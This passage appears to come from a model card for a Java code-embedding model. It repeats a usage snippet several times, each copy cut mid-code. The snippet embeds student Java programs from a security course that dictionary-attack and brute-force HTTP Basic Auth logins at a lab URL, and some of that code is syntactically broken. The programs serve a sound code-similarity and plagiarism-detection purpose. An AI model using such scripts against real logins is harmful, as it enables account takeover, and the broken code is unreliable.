System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    